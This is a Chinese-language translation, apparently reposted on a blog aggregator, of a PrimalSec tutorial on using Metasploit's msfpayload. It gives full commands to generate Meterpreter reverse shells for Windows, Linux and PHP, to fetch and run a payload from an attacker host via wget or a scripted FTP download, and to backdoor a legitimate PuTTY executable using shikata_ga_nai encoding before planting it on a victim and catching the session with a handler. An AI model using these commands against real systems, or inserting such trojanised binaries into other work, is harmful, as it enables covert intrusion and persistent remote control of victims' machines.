zoukankan      html  css  js  c++  java
  • 漏洞利用教程:msfpayload 和 Backdooring EXEs

    漏洞利用教程:msfpayload 和 Backdooring EXEs

    此版本的PrimalSec漏洞教程系列将介绍如何使用msfpayload创建各种有效负载。msfpayload是Metasploit框架的一部分,允许我们生成各种格式的Metasploit有效负载。在我们之前的博文中,我们利用msfpayload生成原始shellcode,我们在缓冲区溢出中利用它来执行代码。

    现在我们将讨论msfpayload的一些其他用例,以生成一些meterpreter有效负载。你经常会发现自己想要将原始shell升级到meterpreter shell,因为你有很多增加的功能,或者你可能希望为持久性提供合法的可执行文件。

    创建Meterpeter有效负载以升级原始shell:

    # Windows Meterpreter 反弹 shell:
    msfpayload windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> X > win_meter.exe
    
    # Linux x86 Meterpreter 反弹 Shell:
    msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> X > lin_meter.exe
    
    # PHP Meterpreter 反弹 Shell:
    msfpayload php/meterpreter_reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> R > php_meter.php

    在Linux上下载二进制文件

    要将原始shell升级到meterpreter,可以按照Linux的以下过程进行操作:
    可选:使用Python生成伪终端

    要创建python HTTP服务器,可以利用内置函数“SimpleHTTPServer”。你可以使用开关“-m”直接从命令行调用模块。默认情况下,侦听器将从端口8000开始,但你可以指定要用作参数的端口:

    python -m SimpleHTTPServer 80
    Serving HTTP on 0.0.0.0 80 ...

    现在假设你没有防火墙阻止连接,你应该能够向服务器发出请求。你可以把在你开始Python的HTTP服务器的同一目录中Meterpreter就会二进制文件,它应该是远程客户端访问。以下是你可能希望如何利用wget的示例。我发现在你没有权限在当前工作目录中写入的初始Web shell并且你无法更改目录的情况下,这种情况很常见。因此,要解决此问题,你可以执行以下操作:

    # 参数 -O 允许你输出到另一个目录 /tmp/通常是可写的
    wget -O /tmp/<meterpeter_binary> http://<attacker_ip>/<meterpeter_binary>
    
    # 更改权限
    chmod a+x /tmp/<meterpeter_binary>
    
    # 总是一个好主意,以确保文件正确
    file /tmp/<meterpeter_binary>
    
    # 运行meterpreter二进制文件
    /tmp/<meterpeter_binary>

    在Windows上下载二进制文件

    要升级你的原始外壳Meterpreter就会在Windows中可以做一些CLI功夫。这可以帮助你避开与原壳的问题,而不是处理需要额外的输入一定的命令:

    # 你可以逐行建立FTP脚本
    # 不要使用用户名/密码,因为它们会弄乱身份验证
    C:>echo open [attacker_ip] >> ftp.txt
    
    C:>echo [user]>>ftp.txt
    
    C:>echo [password]>>ftp.txt
    
    C:>echo get [meterpreter_binary]>>ftp.txt
    
    C:>echo bye >> ftp.txt

    现在,你可以使用带有参数“-s”的内置Windows FTP客户端,并使用你创建的FTP脚本文件:

    c:>ftp -s:ftp.txt
    ftp.exe -s:ftp.txt
    User ([attacker_ip]:(none)): open [attacker_ip]
    get [meterpreter_binary]
    bye
    
    c:> dir /s | findstr [meterpreter_binary]

    现在,如果你想利用msfpayload后门合法二进制文件,你可以执行以下操作:

    ~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=443 R | msfencode -t exe -x /tmp/putty.exe -k -o putty_bad.exe -e x86/shikata_ga_nai -c 3
    [*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)
    
    [*] x86/shikata_ga_nai succeeded with size 341 (iteration=2)
    
    [*] x86/shikata_ga_nai succeeded with size 368 (iteration=3)

    在这个例子中,我们决定后门PuTTY,但可能是任何二进制文件。参数“-t”指定输出格式,“ - x”指定要使用的备用可执行模板,参数“ - o”指定输出文件,参数“-e”是编码使用。现在我们可以在受害者计算机上植入后门可执行文件,启动一个监听器并测试它:

    msf > use exploit/multi/handler
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LHOST 192.168.56.102
    LHOST => 192.168.56.102
    msf exploit(handler) > set LPORT 443
    LPORT => 443
    msf exploit(handler) > exploit
    
    [*] Started reverse handler on 192.168.56.102:443
    [*] Starting the payload handler...
    

    现在假设一切正常,当你点击受害者机器上的PuTTY二进制文件时,你会看到你的Meterpreter会话产生:

    作者:primalsecurity

    翻译:i春秋翻译小组-FWorldCodeZ

    责任编辑:F0rmat

    翻译来源:http://www.primalsecurity.net/0x6-exploit-tutorial-msfpayload-and-backdooring-exes/

  • 相关阅读:
    MongoDB 释放磁盘空间 db.runCommand({repairDatabase: 1 })
    RK 调试笔记
    RK Android7.1 拨号
    RK Android7.1 移植gt9271 TP偏移
    RK Android7.1 定制化 itvbox 盒子Launcher
    RK Android7.1 双屏显示旋转方向
    RK Android7.1 设置 内存条作假
    RK Android7.1 设置 蓝牙 已断开连接
    RK Android7.1 进入Camera2 亮度会增加
    RK 3128 调触摸屏 TP GT9XX
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/9995653.html
Copyright © 2011-2022 走看看